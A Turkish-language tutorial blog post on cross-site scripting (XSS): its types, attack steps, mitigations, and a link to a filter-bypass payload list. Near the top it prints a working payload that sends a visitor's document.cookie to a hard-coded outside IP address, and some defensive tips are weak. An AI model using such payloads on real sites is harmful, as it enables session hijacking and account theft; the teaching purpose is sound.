XSS NEDİR ?

XSS(cross site scripting),türkçe karşılığı çapraz kod çalıştırma ya da siteler arası betik dosyası çalıştırma olan bu zafiyet dinamik internet siteleri içerisine javascript kodları enjekte etmemizi ve çalıştırmamızı sağlayan riskli ve çok tehlikeli bir güvenlik açığıdır.

Web güvenlik açıkları arasında en popüler ve en yaygın olarak bulunan zafiyetlerden biridir.

OWASP top 10 sıralamasında 7. Sırada yer alan bu zafiyet çeşidi bulunması ne kadar kolay olsa  da bir o kadar tehlikeli ve sık karşılaşabileceğiniz bir zafiyettir.

Geçmişte twitter,facebook ve youtube gibi daha birçok popüler uygulamalar xss saldırılarılarına maruz kalmış bulunmaktadır.

XSS zafiyeti hem kullanıcılar için hemde site sahipleri için çok büyük riskler oluşturabilir.

Örnek olarak bir kullanıcının cookie bilgilerini çalabilir ve sisteme o kullanıcı gibi giriş yapabilir çalmış olduğu cookie bilgisi üzerinde değişiklik yapabilir.

XSS zafiyetinin sömürülme metodolojisi saldırgana göre değişiklik gösterse de genelde uygulanan sistem stabildir.

Dilerseniz örnek xss saldırı kodlarını inceleyelim:

<script>alert(‘I BEEN HACKED’)</script>

Yukarıdaki kodda bulunan alert bir hata mesajını tetiklemekte ve ekranda ‘I BEEN HACKED’ yazılı bir pop up çıkarmaktadır.

<img src=x onerror=this.src=’http://34.211.174.102/?c=’+document.cookie>

Bu kodda yine bir javascript kodu olarak ‘document.cookie’ adında bir parametre kullanarak site üzerindeki çerezleri kendi local ağımıza yönlendirmemize yarayan bir koddur.

XSS SALDIRI ADIMLARI

ADIM 1:Saldırgan kötü niyetli bir script dosyası yazar ve amacına yönelik bu dosyayı düzenler.

ADIM 2:Kendi hazırlamış olduğu zararlı script dosyasını xss açığı bulunan web sitesine ekler ve siteye giren kullanıcıların bilgilerini hazırlamış olduğu script dosyası yardımı ile ele geçirir.

ADIM3:Elde ettikleri bilgileri aldıkları geri bildirim ile kaydederler ve kendi çıkarları doğrultusunda kullanırlar.

ADIM4:Etkili ve iyi bir xss saldırısı gerçekleştirebilmek için php,js,html,css,data,data mining gibi olayları iyi bir şekilde bilmek ve cookie yapılarına iyi derecede hakim olmak gereklidir.Aksi takdirde gerçekleştirilen saldırıların başarılı olma olasılığı oldukça düşüktür.

ADIM5:Saldırı Sonrasında eğer bir stored xss zafiyeti mevcut ise saldırganın siteye enjekte etmiş olduğu zararlı yazılımdan o sayfaya giren tüm kullanıcılar etkilenir buda saldırıyı daha etkili bir saldırı yapar.

XSS SALDIRI ÇEŞİTLERİ

  • Reflected XSS=Kullanıcıdan aldığı input(girdi) ile yazılan zararlı kodlar sistemin veritabanına kayıt edilmez bu yüzden kalıcı olmayan kodlar çalıştırılabildiği için reflected olarak kullanılır.
  • Stored XSS=Reflected çeşidinin tam tersi olarak kullanıcıdan alınan girdiler sistemin veritabanına kayıt edilir bunun sonucunda kalıcı bir xss zafiyeti oluşur.Bu zafiyet sizin profilinizi ya da kodu eklediğiniz sayfayı ziyaret eden kullanıcıların maruz kalacağı bir güvenlik zafiyetidir.
  • Dom(Document Object Model) XSS=Bu türde bütün işlem istemci tarafında gerçekleşir. Bunun diğer türlerden en büyük farkı, Dom XSS istemci tarafında gerçekleştiği için ana sunucu bunun farkında olmayacaktır.

XSS ZAFİYETİNDEN KORUNMA YOLLARI

  • Kullanıcıdan alınan input(girdi)ların kontrollü bir şekilde gönderilmesi gereklidir.
  • Özel karakterlerin(< / – vb.)kullanımının yasaklanması ya da kısıtlanması gerekmektedir.
  • Xss zafiyetini en aza indirmek ya da riskleri en aza indirmek amacı ile uygulamada firewall kullanılmalıdır.
  • Mümkün olduğunca GET metodu yerine POST metodu tercih edilmelidir.
  • Site yöneticisinin bu tür zafiyetlerin varlığının önceden farkına varmak amacı ile yılda en az 2 kere sızma testi işlemi yaptırmalıdır.
  • Kullanıcıların bu tür saldırılara karşı dikkatli olması konusunda uyarılar yapılabilir.
  • Çerez HttpOnly bayrağı ile işaretlenerek JavaScript’in çereze erişimi engellenebilir.
  • NET kullanılarak yazılan programlarda programcılarının her sayfaya mutlaka System.Web.Security kütüphanesini eklemeleri güvenlik risklerini azaltıcaktır.

ENCODE VE BYPASS TEKNİKLERİ İLE KULLANILAN XSS KODLARI

Bazı durumlarda kullanılan “script” elementi yada zafiyetin tespitinde kullanılan herhangi bir kodun başarılı sonuç vermediğini görebilirsiniz. Bu durumlarda farklı firewall atlatma teknikleri kullanılabilir. Encode teknikleri, Bypass teknikleri gibi birçok firewall atlatma yöntemleri mevcuttur. Sizlere bu tekniklerin yer aldığı bir github linki bırakıyorum dilerseniz inceleyebilirsiniz.

xss-payload-list

About The Author

Reply